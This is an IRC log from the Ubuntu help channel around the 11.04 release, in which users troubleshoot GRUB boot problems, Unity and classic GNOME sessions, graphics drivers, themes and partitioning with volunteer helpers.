[20:20] <cache_surplus> hello, im trying to ubuntu 10.10 32bit on a windows xp laptop. when i boot to cdrom, windows xp continues to rule the mbr. how can i load linux on this laptop the best practice way, that will work 100% of the time. thanks  also, it seems older hardware doesnt allow the cdrom to pass xp boot usually,, at least the past 4 boxes i have tried....
[20:20] <moltendorf> Kevin147: /etc/fstab should show this.
[20:20] <qin> Kevin147: df -h  or  dfisk -l
[20:20] <Ahmuck> how do i get unity off and gnome back on
[20:20] <Furry> Can I add my own application to the Launcher?
[20:21] <moltendorf> Kevin147: edit, oops
[20:21] <zvacet> kate__:  download with torrent fromhttp://releases.ubuntu.com/natty/
[20:21] <qin> isibilir: sudo service gdm stop
[20:21] <Ahmuck> Furry, yes
[20:21] <Furry> cache_surplus, have you tried disabling the Hard Drive from the boot order?
[20:21] <Ahmuck> I'd like to drop back to gnome, how?
[20:21] <cache_surplus> i have not... however, it is set to boot from cdrom currently
[20:21] <DasEi> !pm | isibilir
[20:21] <ubottu> isibilir: Please ask your questions in the channel so that other people can help you, benefit from your questions and answers, and ensure that you're not getting bad advice. Please note that some people find it rude to be sent a PM without being asked for permission to do so first.
[20:21] <qin> isibilir: it will drop you to terminal
[20:21] <zvacet> kate__:  point download to the folder with existing natty iso so torrent will just check files
[20:21] <Kevin147> Well, i mean, I'm on the grub thing, and the link that nit-wit gave me, says X for partition #... I don't know how to find that out on the grub
[20:21] <cache_surplus> i have tried the basics, it should just start the install... sighs...
[20:21] <Furry> Ahmuck, how?
[20:22] <Samo502> Hey everybody, I have a booting problem
[20:22] <isibilir> sorry friends
[20:22] <nit-wit> Kevin147, X=partitionumber
[20:22] <DimaV> I have just upgraded my 10.10 server box to 11.04, but I guess grub installed incorrectly and now i am not getting past the "bash-line editing" cmd grub. I am in a live cd now. help?
[20:22] <DasEi> qin:nice, thank you for guidind isib.
[20:22] <isibilir> but i want to install 8400gs driver
[20:22] <kaffien> why is it that when i installed the nvidia drivers for my laptop i all of a sudden lost twinview?
[20:22] <DasEi> guiding*
[20:22] <kate__> Enter the URL in Transmission, you mean?
[20:22] <Kevin147> nit-wit: Ok so the # is 0?
[20:22] <MC8> Howdy; how does one configure the Unity sidebar thingy? :)
[20:22] <Samo502> Grub refuses to boot into my Windows partition, even if I choose to boot into it it still boots into Ubuntu
[20:23] <zvacet> kate__:  after that run https://help.ubuntu.com/community/HowToMD5SUM
[20:23] <qin> DasEi: He wanted to stop gnome, Should scroll more?
[20:23] <Ahmuck> is there a proceedure for removing unity?
[20:23] <jmcantrell_> on the ubuntu certification page, does anyone know what it means when it says "pre-installed only"
[20:23] <DimaV> i hope i am not missing anyone replying to me
[20:23] <tiagotiago> Hi
[20:24] <DasEi> qin: it's about nvidia driver and nvidia-xconfig out of x
[20:24] <Furry> Is there a way to add my own applications to the Unity sidebar?
[20:24] <zvacet> kate__:  if you already have natty iso point torrent download there so the torrent can check files
[20:24] <qin> Ahmuck: Use rather google, than this channel (atm).
[20:24] <nit-wit> Kevin147, the partition if looked at with gparted would look something like the sda1  the 1 is the X boot a live cd and open gparted and write down the partition. This can be found from thegrub> but I don't know the command
[20:24] <fliegenderfrosch> Ahmuck: do you want to completely remove it or just use the traditional desktop? if it’s the latter, just chose "traditional gnome desktop" at login
[20:25] <Kevin147> nit-wit: alright.. good thing I remember it, its sda1
[20:25] <Kevin147> :P
[20:25] <Samo502> Hey, I need help with a booting issue
[20:25] <Samo502> it's a bit urgent
[20:25] <KrisDouglas> Samo502, what is the problem?
[20:25] <botcity> tripelb, how where you transferring files
[20:25] <Kevin147> nit-wit: sweet, that worked.. alright, which file now?
[20:26] <Samo502> KrisDouglas: I can't boot into windows, it boots into ubuntu even if i choose to boot into windows
[20:26] <Ahmuck> qin: why?
[20:26] <Samo502> it's probably a menu.lst problem
[20:26] <Ahmuck> isn't this the ubuntu channel?
[20:27] <vivid> is it just me, or is launchpad totally tits up
[20:27] <botcity> tripelb, did you mount them?
[20:27] <okenobi_> Samo502 i think you have grub2 and not grub 1
[20:27] <nit-wit> Kevin147, are you in natty
[20:27] <sweb> http://askubuntu.com/questions/38159/install-on-asus-eeepc-with-stupid-big-problem
[20:27] <qin> Ahmuck: Coz, Unity removal method is uncertain 1 day after release (give it a time).
[20:27] <KrisDouglas> Samo502, that's a new one. Have you done a fresh install of Ubuntu or is it an upgrade?
[20:27] <hazure> Anyone know of a rendering issue with unity showing only white screens for gnome apps?
[20:27] <Ahmuck> unity is a good start, but it's built for tablets, not desktops
[20:28] <tase> is there still as much traffic as yesterday on the cannonical servers ?
[20:28] <tiagotiago> I tried upgrading from 10.10 to 11.somthing and it failed, it said somthing about running dpkg --configure -a but it didn't work , i tried doing that myself and i got http://paste.ubuntu.com/600935/ in response, what should i do?
[20:28] <Samo502> KrisDouglas: Upgrade, I've had Ubuntu for a while. Though I haven't updated in a little while
[20:28] <okenobi_> Sam0502, don't forget to mention what version of ubuntu you have
[20:28] <Ahmuck> and needs to be thought out a little more for the desktop
[20:28] <Pici> Ahmuck: You can choose Ubuntu Classic from GDM, removing unity itself may be a bit messy.
[20:28] <kate__> This is gonna make me sound like a moron. cd /Downloads says the folder doesn't exist.
[20:28] <Extase> Hello all. I'm having troubles instaling 11.04 in a Acer Laptop. The display backlight turns off as soon as ubuntu CD boots, and i can't see nothing. Any clue?
[20:28] <kate__> I'm already in my home folder.
[20:28] <rpk> Is there anything new in ubuntu 11.04 that would prevent java rmi from working?
[20:28] <Kevin147> nit-wit: yes, I upgraded, then clicked restart on the thing when it finished, and came upon this problem. I did all that stuff, now its doing like a bunch of info stuff or w/e
[20:28] <Ahmuck> is there a way to get ubuntu classic from the install menu?
[20:28] <qin> Ahmuck: Once more, you have Option to choose Classic Gnome Session.
[20:28] <rpk> Something blocking the port perhaps?
[20:28] <fliegenderfrosch> kate__: try cd Downloads (without /)
[20:28] <Samo502> okenobi_: it's 11.04, and even though it should be in #ubuntu+1 i figure it's not so much natty related as grub related
[20:28] <KrisDouglas> Ahmuck, it gets installed with Unity
[20:28] <qin> Ahmuck: You mean in live session, no
[20:29] <Ahmuck> does the option stay as a saved value, or must i always go through an extra click to get past unity
[20:29] <nit-wit> Kevin147, If your in Natty run sudo grub-install /dev/sda then sudo update grub make sure the hd is sda
[20:29] <blurgh> Anyone has experience in manipulating the global menus? (The non-working ones)
[20:29] <Furry> Guys, can I add my own apps to the Unity sidebar?
[20:29] <rpk> I upgraded from 10.10, and I can no longer connect to weblogic running on my machine
[20:29] <qin> Ahmuck: Saved
[20:29] <blurgh> Furry: Sure, just drag em over there
[20:29] <sudipta> I have installed natty today...and installed graphics drivers for nVidia card....but after that neither Unity nor Ubuntu classic seems to work...currently with no effects.......any HELP?
[20:29] <Kevin147> nit-wit: thats the thing, I don't have access to the command line.. but I remembered, it is sda1, and I did that, and then all the kernels popped up
[20:29] <laughtrip>  i just upgraded my ubuntu box 10.04 > 11.x ... i'm getting a weird error ... can't mount my data drive ... when i do  dmesg | tail ... it tells me /dev/sda has "bad geometry" (block count exceeds size of devices). any idea how to fix that?
[20:29] <Furry> blurgh, I'm trying to add an executable .jar file though
[20:29] <Kevin147> nit-wit: I picked the 38 one, the highest number of all of em, so that should work
[20:30] <Samo502> Synaptic shows my grub version to be 0.97-29ubuntu61
[20:30] <laughtrip> i tried mounting it as root using  sudo mount /dev/sda ... then the system tells me it's not in /etc/fstab .. so i look in there and sure enough it is not in there ...
[20:30] <nit-wit> Kevin147, yeah if your getting them from the first tab
[20:30] <blurgh> Furry: Hmm, dunno how that's done
[20:30] <astrostl> http://ppa.launchpad.net/ slow for everyone?
[20:30] <jmcantrell_> on the ubuntu certification page, does anyone know what it means when it says "pre-installed only"
[20:30] <rpk> hmm, actually I can't connect to my machine on any port, but can still ping it
[20:31] <Kevin147> nit-wit: when I did tab, there was like 5 others, there was 22, 23, and a few more I don't remember
[20:31] <qin> Furry: .jar is run by java
[20:31] <sudipta> I have installed natty today...and installed graphics drivers for nVidia card....but after that neither Unity nor Ubuntu classic seems to work...currently with no effects.......any HELP?
[20:31] <tiago> hi?
[20:31] <okenobi_> Samo502: I have the same grub ... let me investigate a little
[20:31] <Samo502> okenobi_: http://pastebin.com/Dty7FGWn that's my menu.lst
[20:31] <nit-wit> Kevin147, so after the kernel line 3 correctly spaced root=/dev/sda1
[20:32] <Samo502> okenobi_: i ran computer janitor yesterday and i think it changed some stuff, it had to be that because i didn't run an update or anything of the sort
[20:32] <qin> sudipta: Did you test it in live session, if yes what sessin did you get (Unity or Classic)?
[20:32] <joepa> anyone else unable to pin apps to the Launcher in Unity/Natty?
[20:32] <Ahmuck> so that i don't sound like an ogre, unity has it's pluses.  it was simple, and the desktop switcher was genius.  previously i had already set my desktop up in gnome in a unity type of configuration.  the disappointment with unity however was the complete loss of configuration options
[20:32] <DimaV> I have just upgraded my 10.10 server box to 11.04, but I guess grub installed incorrectly and now i am not getting past the "bash-line editing" cmd grub. I am in a live cd now, and confused
[20:32] <HAKMASTER> hey!! quick question, i'am installting Ubuntu 11.0.4 and during the installation when i'm doing parition resize, i can't mount it to other than the default mount listed name!! how i can fix this? thanks in advance
[20:32] <Guest41978> tiago
[20:32] <Ahmuck> thx
[20:32] <qin> Ahmuck: agree
[20:33] <sudipta> <qin>no I havent.....but on booting for the first time..it displays Unity can not be started....
[20:33] <Guest41978> escreva português
[20:33] <TiagoTiago_> Sorryp did somthing i shouldnmt have and had to reboot
[20:33] <Samo502> okenobi_: maybe an update would help? being that an update changes menu.lst it might fix my booting perhaps?
[20:33] <Kevin147> nit-wit: yes, thats what I did.. I did this exactly: linux /boot/vmlinuz-2.6.38-8-generic root=/dev/sda1
[20:33] <nit-wit> Kevin147, is Ubuntu the only OS?
[20:33] <Guest41978> escreva português
[20:33] <Kevin147> nit-wit: Yes
[20:33] <okenobi_> Samo502: i doubt it
[20:33] <ardchoille> Is there a known issue with nautilus not respecting themes in 11.04?
[20:33] <kate__> File checked out ok... burning a new cd, this time at the lowest speed possible. We'll see. I really don't want to have to sit through a 4 hour upgrade to 10.10, then another 4 to 11.04.
[20:33] <rgoytacaz> Ubuntu 11.04 Installing Mysql errors out, can any1 take a look? http://pastie.org/1848384
[20:34] <Guest41978> você me entende?
[20:34] <nit-wit> Kevin147, did you type the kernel or use the tab
[20:34] <jmcantrell_> on the ubuntu certification page, does anyone know what it means when it says "pre-installed only"
[20:34] <coz_> ardchoille,  not that I am aware of ,, you mean a theme from system/preferences/appearance ...yes?
[20:34] <qin> sudipta: ok, you would want to remove (propably faulty) driver, try: jockey-text in terminal
[20:34] <okenobi_> Samo502: this is menu.lst entries for win http://pastebin.com/RhRF7eSr
[20:34] <botcity> HAKMASTER, they are should be drop down windows
[20:34] <sudipta> qin:yeah then
[20:34] <Samo502> okenobi_: would my rootnoverify be different or is it likely the same?
[20:35] <Kevin147> nit-wit: I did tab, which showed: linux /boot/vmlinuz-2.6.3<STOP> then I looked at the list, saw the latest one, which is 2.6.38-8-generic, typed 8, hit tab, and it showed up
[20:35] <TiagoTiago> Oi Guest
[20:35] <ardchoille> coz_: Ah, ok, thanks. I designed my own GTK themes and it's not accepting any of them, nor is it respecting default themes.
[20:35] <sweb> any one can asnwer me : http://askubuntu.com/questions/38159/install-on-asus-eeepc-with-stupid-big-problem
[20:35] <qin> sudipta: try update and install driver again (via Menu > System > Admin > Hardware)
[20:35] <HAKMASTER> <botcity> yes but  i want to choose another partition name then the default ex: /media/data
[20:35] <okenobi_> Samo502: what rootnoverify do you have?
[20:35] <coz_> ardchoille,  it may something in your themes  that is causing the issue,, not sure though
[20:35] <Samo502> okenobi_: (hd0,2)
[20:36] <raven_> WHY there is an open connection to screenshots.ubuntu.com?
[20:36] <coz_> ardchoille,  did you compress your themes and try instaling from that tar.gz,,, yes?
[20:36] <Samo502> okenobi_: is the second number related to the numbers in /dev/sda#?
[20:36] <nit-wit> Kevin147, okay so use the 1 in place of both X's in the commands then start from the beginning of the command set and use the tab complete as notated
[20:36] <TiagoTiago> Is there an installer i can run on Windows to install Ubuntu (on another partition) ?
[20:36] <qin> sweb: Are you asking about "some gnome themes are broken"?
[20:36] <HAKMASTER> <botcity> have you experience like this issue before?
[20:36] <ardchoille> coz_: It isn't respecting the default themes like Clearlooks, Ambiance, Dust or Radience either. Maybe due to upgrading instead of a fresh install.
[20:36] <sudipta> qin:I have installed the recommended driver ....and  Additional Driver tab says The driver is activated but not currently in use
[20:36] <rgoytacaz> Ubuntu 11.04 Installing Mysql errors out, can any1 take a look? http://pastie.org/1848384
[20:37] <truepurple> nit-wit: http://ubuntuforums.org/showthread.php?p=10739837#post10739837
[20:37] <nit-wit> Kevin147, here ios a reload of grub2 from a live cd as well.
[20:37] <confusedguy25> Can somebody help me, Ubuntu won't boot properly.
[20:37] <nit-wit> Kevin147, https://help.ubuntu.com/community/Grub2#Reinstalling%20GRUB%202
[20:37] <Kevin147> nit-wit: alright, I did all that stuff... it did a disk check, but now a black screen? õ.õ
[20:37] <raven_> WHY there is an open connection to screenshots.ubuntu.com?
[20:37] <botcity> kate__, my burn got corrupted because i burned too fast !
[20:37] <qin> sudipta: To start driver you need to reboot
[20:37] <nit-wit> truepurple, thanks I will look
[20:37] <coz_> ardchoille,  oo something is definitly up then,, did you already install your themes ..yes?
[20:37] <confusedguy25> When I choose Ubuntu from the boot menu, it says error and then I get some type of GRUB command prompt.
[20:37] <confusedguy25> I am on 10.10.
[20:37] <sudipta> qin:yaeh...I did that
[20:37] <coz_> ardchoille,  and was this happening "before" you attempted to install your themes?
[20:38] <spajderix> hi
[20:38] <kiko__> eu falo português
[20:38] <sweb> qin, no theme is in appearance list but when i click on it nothing happened. the theme style is gray with old icons style.
[20:38] <brainproxy> I've got a XenServer 5.5 and have used the 64bit server ISO for ubuntu 10.04 when creating a new VM; however, I find that the server ISO for 11.04 can't be used to boot a new VM on my XenServer
[20:38] <nit-wit> Kevin147, do you know the graphic card
[20:38] <sudipta> qin:but nothing happens.....unity and classic show with a blank screen
[20:38] <ardchoille> coz_: I did a network upgrade. I have had my custom themes installed for about a year and they work fine in gnome 2.x UI
[20:38] <okenobi_> Samo502: YES, if it is sda3, then it is hd0,2
[20:38] <Kevin147> nit-wit: no, I just bought this desktop a few months ago... so yeah
[20:38] <confusedguy25> Does anybody know how to fix Ubuntu??
[20:38] <coz_> ardchoille,  ah then I am puzzled,,  it could be the install is not complete?   sudo apt-get update && sudo apt-get dist-upgrade
[20:38] <qin> sudipta: Well, better remove it then, also check your card for support (for maverick drivers you will get certain answer).
[20:38] <rpk> can someone point me at any basic troubleshooting steps for not being able to connect remotely into ubuntu?
[20:38] <Kevin147> nit-wit: should I shut it off (hold power button) and start it up again?
[20:38] <Samo502> okenobi_: so then, being that my windows partition is sda1 then hd0,0 would be correct...
[20:38] <spajderix> i installed unity-2d, uninstalled it after 10 minutes of using, and now in unity-3d i have no window decoration, does anyone know how to make it right?
[20:38] <ardchoille> coz_: I went back to the gnome 2.x UI via login screen, it's all good. I don't like having to move my mouse just to use menus anyway.
[20:39] <Samo502> okenobi_: scratch that
[20:39] <sweb> qin, i think ubuntu have a big problem on this version
[20:39] <okenobi_> Samo502: correct!
[20:39] <ardchoille> coz_: ah, ok, will try the update/upgrade again
[20:39] <Samo502> okenobi_: was looking at the wrong partition, it's sda3
[20:39] <MethedMan> anybody know how to configure a samba print server
[20:39] <qin> rpk: you mean ssh?
[20:39] <Samo502> okenobi_: so therefore hd0,2 would be correct!
[20:39] <truepurple> Upgrading from 10.10 to 11.04, I have come into a strange blank screen, here are the details- http://ubuntuforums.org/showthread.php?p=10739837#post10739837 can anyone help?
[20:39] <Asdfg_> hello
[20:39] <okenobi_> Samo502: ok .. so it is correct!
[20:39] <rpk> No, I need to connect to an oracle weblogic application over rmi
[20:39] <sudipta> qin:on right click "Change Desktop Background "  has no Visual Effect tab
[20:39] <qin> sweb: Hectic start ;)
[20:39] <ardchoille> coz_: nothing to upgrade, it looks like it was complete
[20:39] <rpk> I can't get into the weblogic console either, qin
[20:40] <Samo502> okenobi_: I notice mine is missing the makeactive line, and the rootnoverify is 0,2, hmm
[20:40] <Asdfg_> I was wondering if you can still use Windows if you install Wubi
[20:40] <nit-wit> Kevin147, yeah just boot a live cd and follow that grub link that should get you in, otherwise there is a bootscript that is quite helpful that can be run from a lve cd then put in a pastebin for us to look at.
[20:40] <rpk> qin, I can however ping the computer and get a response back from that
[20:40] <okenobi_> Samo502: I had a similar problem though with win7. I couldn't install it on something different than sda1 ...
[20:40] <coz_> ardchoille,  mmm then I am puzzled,, you say you installed 11.04  via net install?
[20:40] <sexygurl2furl> can somebody please help me?
[20:40] <qin> sudipta: Yes, lack of acceleration, update and check your card
[20:40] <Asdfg_> I was wondering if you can still use Windows if you install Wubi
[20:40] <rpk> qin: it worked yesterday, on 10.10
[20:40] <coz_> sexygurl2furl,  i didnt see your post,, would you mind posting again??  if I can i will help
[20:40] <nit-wit> Kevin147, bootscript http://bootinfoscript.sourceforge.net/
[20:40] <sexygurl2furl> Ubuntu won't boot correctly.
[20:40] <Asdfg_> I was wondering if you can still use Windows if you install Wubi
[20:40] <sudipta> qin:but 10.10 works well with the card.....
[20:40] <sexygurl2furl> When I try to boot UBuntu from the boot menu, I get a GRUB command prompt.
[20:41] <ardchoille> coz_: yes, and my themes were working yesterday in gnome 2.x and still work today. But nautilus doesn't respect them in Unity
[20:41] <sexygurl2furl> Does anybody know how to fix this?
[20:41] <ivancp> I can't see the volume icon at top in my ubuntu 11.04 with gnome 2.x.... how to restore that icon?
[20:41] <okenobi_> Samo502: if the win partition is sda3, hd0,2 is correct! put makeactive and give it a try!
[20:41] <HAKMASTER> hey!! quick question, i'am installting Ubuntu 11.0.4 and during the installation when i'm doing parition resize, i can't mount it to other than the default mount listed name!! how i can fix this? thanks in advance
[20:41] <jmcantrell_> on the ubuntu certification page, does anyone know what it means when it says "pre-installed only"
[20:41] <Kevin147> nit-wit: no need, I just shut it off, started it up, and it is working now. Thanks!! :)
[20:41] <qin> sudipta: Card often droping from support, but you can try also mesa drivers
[20:41] <sweb> qin, unity is for kids not usefull. i thinks cononical must zoom on stability and hardwares not on some funy tools like unity. ubuntu required stability not stupid problem after v 11
[20:41] <Asdfg_> I was wondering if you can still use Windows if you install Wubi
[20:41] <botcity> HAKMASTER, why are you partitioning to none default for the install? i would do a spare partition no need to call it anything special
[20:41] <coz_> ardchoille,  oh so ONLY nautilus is not respecting them,,,,yes?
[20:41] <Arachon> I was wondering in which folder an smb share is mounted, I can't find it in /media
[20:41] <Geekydude4> If someone could talk to me in person not on the main window I need help (it will take 10sec.)
[20:41] <Samo502> okenobi_: hmm, i need to change my default as well. being that a lot of my other boot entries got deleted the default is way higher than the partition number
[20:41] <ardchoille> coz_: correct, other apps are fine in Unity
[20:41] <Asdfg_> I was wondering if you can still use Windows if you install Wubi
[20:41] <Geekydude4> If someone could talk to me in person not on the main window I need help (it will take 10sec.)
[20:42] <nit-wit> Kevin147, cool the tux angles have answered.;)
[20:42] <MethedMan> anybody know how to configure a samba print server
[20:42] <qin> rpk: Do you have access (phisical) to server?
[20:42] <Samo502> okenobi_: give me a few minutes, i'll try it out and get back to you
[20:42] <sudipta> qin:trying for the last time to boot into unity
[20:42] <tripelb> botcity. yes. that was automatic. I didnt have to do anything. Remember I said that I can boot on A, read a file on B, open it, edit it, save it. Thus B is mounted.
[20:42] <sweb> qin, so what can i do to change gnome setting ? change appearance ?
[20:42] <Asdfg_> I was wondering if you can still use Windows if you install Wubi
[20:42] <Asdfg_> I was wondering if you can still use Windows if you install Wubi
[20:42] <rpk> qin: yes, I'm on it
[20:42] <okenobi_> Samo502: good luck
[20:42] <ardchoille> coz_: how much trouble would I cause myself to try an uninstall/reinstall of nautilus?
[20:42] <Geekydude4> If someone could talk to me in person not on the main window I need help (it will take 10sec.)
[20:42] <HAKMASTER> botcity if want to create another parition ex: /media/data a separate parition other then /
[20:42] <milen8204> how to make classic appearance to ubuntu 11.04 any one knows ?
[20:42] <TiagoTiago> Is there an installer i can run on Windows to install Ubuntu (on another partition) ?
[20:42] <rpk> qin: I'm actually remoting into the other servers over rdp and vnc, and trying to connect back into it
[20:42] <Asdfg_> I was wondering if you can still use Windows if you install Wubi
[20:42] <Asdfg_> I was wondering if you can still use Windows if you install Wubi
[20:42] <Asdfg_> I was wondering if you can still use Windows if you install Wubi
[20:42] <Asdfg_> I was wondering if you can still use Windows if you install Wubi
[20:42] <Asdfg_> I was wondering if you can still use Windows if you install Wubi
[20:42] <HAKMASTER> botcity i used to do it with Ubuntu 10.x and it works fine
[20:42] <FloodBot1> Asdfg_: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[20:42] <tripelb> Asdfg_, yes, but if you BOOT from WUBI you cannot use Windows. If you BOOT from Windows, you cannot use WUBI.
[20:43] <coz_> ardchoille,  ok  I may have to log into Unity to test this one,, if it is the same for me then it is most likely a bug,, hold on a few minutes
[20:43] <Geekydude4> If someone could talk to me in person not on the main window I need help (it will take 10sec.)
[20:43] <ardchoille> coz_: kk, thank you
[20:43] <sexygurl2furl> hey coz_ can you help me?
[20:43] <coz_> ardchoille,  well hold on until I return
[20:43] <Tonus> !ask | Geekydude4
[20:43] <ubottu> Geekydude4: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[20:43] <raven_> WHY there is an open connection to screenshots.ubuntu.com?
[20:43] <botcity> HAKMASTER, sorry not sure then!
[20:43] <velory> Hello I'm using natty, I want to start Guake Terminal everytime I open ubuntu. But I couldn't find in preferences any idea ?
[20:44] <harovali> hi , i'm trying to set up a wireless modem, and I put all the configuration in NetworkManager . However, the option to connect to the network it should enable, does not appear in left-clicking in the doble arrow menu. ANy hint ?
[20:44] <sexygurl2furl> Does anybody here know how to fix my problem?
[20:44] <rgoytacaz> Is there a way to go back to post-install state in Ubuntu?
[20:44] <BlouBlou> sexygurl2furl: what problem?
[20:44] <ardchoille> velory: you need to put an item in starup programs for guake
[20:44] <Geekydude4> Looking at C code in terminal. How do you exit? It says ^X but what does that mean?
[20:44] <TiagoTiago> Damn, after it failed to upgrade to 11.somthing i can't boot Ubuntu anymore :(
[20:44] <qin> rpk: You want to start with basic sevice (ssh | nc) and monitor connection on server, on Natty ckeck lan and resolve.
[20:44] <ardchoille> velory: System > Preferences > Start up Applications
[20:45] <sexygurl2furl> BlouBlou, Ubuntu won't boot right.
[20:45] <sexygurl2furl> :/
[20:45] <BlouBlou> Geekydude4: 'ctrl + c'
[20:45] <Arachon> I was wondering in which folder an smb share is mounted, I can't find it in /media
[20:45] <escott> Geekydude4, ctrl-c or q
[20:45] <velory> ardchoille:  thanks.
[20:45] <truepurple>  nit-wit : Any ideas?
[20:45] <TiagoTiago> says somthing along the lines of "the drive for / is not ready to mount"
[20:45] <Geekydude4> Will that exit all terminal or just that screen?
[20:45] <qin> sweb: You need to know that Unity do not have that rich configuration as Gnome, yet.
[20:45] <velory> ardchoille:  and one more thing is, for e.g. f12 is opening volume like in Mac. But in Mac OSX I can change F keys to functions
[20:45] <velory> can I do that here ?
[20:45] <escott> Geekydude4, just the program you are using to view
[20:46] <nit-wit> trucMuche, I'm typing
[20:46] <botcity> tripelb, which ubuntu are you on ? your hard drive partitions should come up ???GB file system in places
[20:46] <sexygurl2furl> Can somebody please help me this urgent!!!
[20:46] <sweb> qin, how can i completly remove it and use stable gnome v like 10.10
[20:46] <nit-wit> truepurple, I'm typing sorry trucMuche
[20:46] <ardchoille> velory: hmm.. I don't know, never messed with those
[20:47] <kurtul> sexygurl2furl: did it ever work?
[20:47] <velory> ardchoille:  because now in guake I have to press shift + f12 instead of f12 :)
[20:47] <Geekydude4> Thank you! its ctrl+x
[20:47] <BlouBlou> sweb: you don't need to remove anything. Just go to GDM menu (in where you select users), click on yours, and below, see a small box, in there, change ubuntu session and select 'classic-session'
[20:47] <velory> I changed it because f12 was only opening volume
[20:47] <sexygurl2furl> kurtul, yes can i pm you?
[20:47] <qin> sweb: Do not remove Unity, just, at login Chose Classic Gnome (bottom bar, after to choose user, before password)
[20:47] <ardchoille> velory: I seem to remember that being an option within guake, try the guake settings
[20:47] <GNUtoo> hi, my ssh key is as user, how can I mount an sshfs directory, I tried sudo -E, HOME=/home/gnutoo sudo -E,sudo etc....
[20:47] <coz_> ardchoille,   ok I am on unity ...let me test the themes ,, hold on
[20:47] <qin> ^choose
[20:47] <truepurple> nit-wit: "trucmuche"? I found another thread of someone describing something similar http://ubuntuforums.org/showthread.php?t=1742071
[20:47] <velory> k
[20:47] <sweb> qin, i need stable v of gnome with good support
[20:48] <GNUtoo> that thing should have taken 2 s and it's like 15min that I'm at it
[20:48] <BlouBlou> sweb: did you read what I told you?
[20:48] <qin> sweb: Gnome in Natty is stable (I thinks same version what Maveric)
[20:48] <coz_> ardchoille,  looks like nautilus is respecting the themes here :(
[20:48] <zombor> has anyone gotten ubuntu working with an intel i3 with the GMA 2000 video? i can't seem to get anything to display
[20:48] <coz_> ardchoille,  this has to be something on  your end
[20:48] <nit-wit> truepurple, good luck I hope hyou get to the bottom of it I see to many ouliers to really tell what is up
[20:48] <plustax> is it difficult to add windows 7 to my ubuntu 10.10 machine?
[20:48] <sweb> qin, BlouBlou, i know but on ubuntu classic also i cant change appearance . all themes are same with old icons style and gray color of paneles
[20:48] <tripelb> botcity I'm a bit unclear but I can try: 10.04,gnome. B is a 9.8G filesystem. It's not 10.04 but it's something earlier. I think. Can I tell without booting into it?
[20:48] <ardchoille> coz_: Ah, good to know. I'll try a fresh install of 11.04 next week. Thank you very much for the info :)
[20:48] <plustax> I want to dual boot and add windows to it
[20:48] <TiagoTiago> Wubi doesn't install Ubuntu the same way the bootable cd/dvd does, right?
[20:49] <nit-wit> plustax, if you have partition space  no
[20:49] <coz_> ardchoille,  no problem.. if you can ,, download the minmal install cd
[20:49] <BlouBlou> sweb: Then go to System >> Preferences >> themes or something like that
[20:49] <qin> sweb: Did you get themes, are they installed?
[20:49] <nit-wit> plustax, what is installed now
[20:49] <ardchoille> coz_: I think I am going to buy a cd or dvd from shop.canonical.com, I like to support Ubuntu as much as possible.
[20:49] <tripelb> how can I tell what ubuntu is on a disk without booting into it. where do I look? I can read the disk.
[20:49]  * TiagoTiago sighs
[20:49] <harovali> hi , i'm trying to set up a wireless modem, and I put all the configuration in NetworkManager . However, the option to connect to the network it should enable, does not appear in left-clicking in the doble arrow menu. ANy hint ?
[20:49] <plustax> nit-wit I have ubuntu 10.10 installed only
[20:50] <coz_> ardchoille,  ok cool...although the minimal install cd I think is about 12 megs
[20:50] <BlouBlou> LjL-Temp: maybe -bbbb ? :P
[20:50] <coz_> ardchoille,  not likely a download error and especially if you burn at 1x
[20:50] <nit-wit> plustax, do you know the partition amount limitations on a single HD
[20:50] <BlouBlou> err, LjL: ^
[20:50] <LjL> BlouBlou: can't do that from the gui, and i'm not going to type all these addresses manually
[20:50] <ardchoille> coz_: That small?! Nice. You have a good point
[20:50] <zvacet> nit-wit: 4 primary
[20:50] <plustax> nit-wit I do not. I'm not very good at linux
[20:51] <coz_> ardchoille,  yes it also installs via the net,, and is completely up to date when finished
[20:51] <jfroebe> getting used to Unity on 11.04..  anyone have a link to the key bindings?
[20:51] <OY1R> i just bootrd up mu laptop and get Busy box v1.153 ubuntu 1:1.15.1 ubuntu built in shell (initframfs)_
[20:51] <MethedMan> i am having trouble getting my windows machine to connect with the samba print server on a linux machine.  any help would appreciated
[20:51] <OY1R> running ubuntu 10.10
[20:51] <botcity> tripelb, in places  it should show you the partition 9.8GB double click it ..is that what you did ?
[20:51] <isibilir> hi i come back )
[20:51] <coz_> ardchoille,  the only th ing to remember is when asked what you actually want to install   use the Space bar to choose and the arrow buttons to scroll..not the ENTER button
[20:51] <GNUtoo> fixed with ssh-agent
[20:51] <zvacet> nit-wit: but you can have 3 primary and one extended and inside extended one make more partitions
[20:51] <ardchoille> coz_: kk
[20:52] <sweb> BlouBlou, qin, i'm expert ubuntu user. i'm php programmer that i can compile complex mod, module and plugins for LAMP. i know where can i change the theme. System > Preferences > Appearance > Theme. all theme in list like Dust, Ambiance and etc.. gnome still have old icons and old colors. gnome looks like completely splinted
[20:52] <TiagoTiago> Can i install Ubuntu from Windows the same way it is done with the bootable installer disk?
[20:52] <qin> TiagoTiago: No
[20:52] <coz_> ardchoille,  I have that cd on my maverick install in dropbox  I could try to upload to speedyshare if you want
[20:52] <Kingsy101> guys how do I set a static local IP address on my local machine?
[20:52] <isibilir> can you tell someone how can i install nvidia 8400gs driver?
[20:53] <ardchoille> coz_: I don't have any blank media ATM, will buy some in a few days. Thanks though :)
[20:53] <Stava1> Can I make it so that the sidebar in unity dont automatically (never) hide?
[20:53] <Kingsy101> ifconfig tells me its changed from 192.168.0.11 to 192.168.0.4 I need to change it to 192.168.0.11 perminatly
[20:53] <isibilir> i am new user ubuntu (linux)
[20:53] <ardchoille> coz_: may I pm you?
[20:53] <SADSDDSDSASDA> hi
[20:53] <kate__> Tried my live cd again. It shows me lines of code in my BIOS font, like it's working, and then says 'udevd - work (84): /sbin/modprobe -bv pci:(string of letters and numbers which I did write down) unexpected exit with status 0x0009.
[20:53] <coz_> ardchoille,  sure
[20:53] <a2c4n9e1> trying to install natty, but when i got to the partition thing, i can't set the mount point manually. any idea why?
[20:53] <OY1R> i just bootrd up mu laptop and get Busy box v1.153 ubuntu 1:1.15.1 ubuntu built in shell (initframfs)_ (i thing the battery died while in hibernation)
[20:53] <Kevin147> nit-wit: One thing I did notice tho, xchat is a little laggy? õ.õ
[20:54] <silverpt> Hello all. I'm having trouble instaling 11.04 on a Acer Aspire Laptop. As soon as ubunto CD boots the display backlight turns off. any clue?
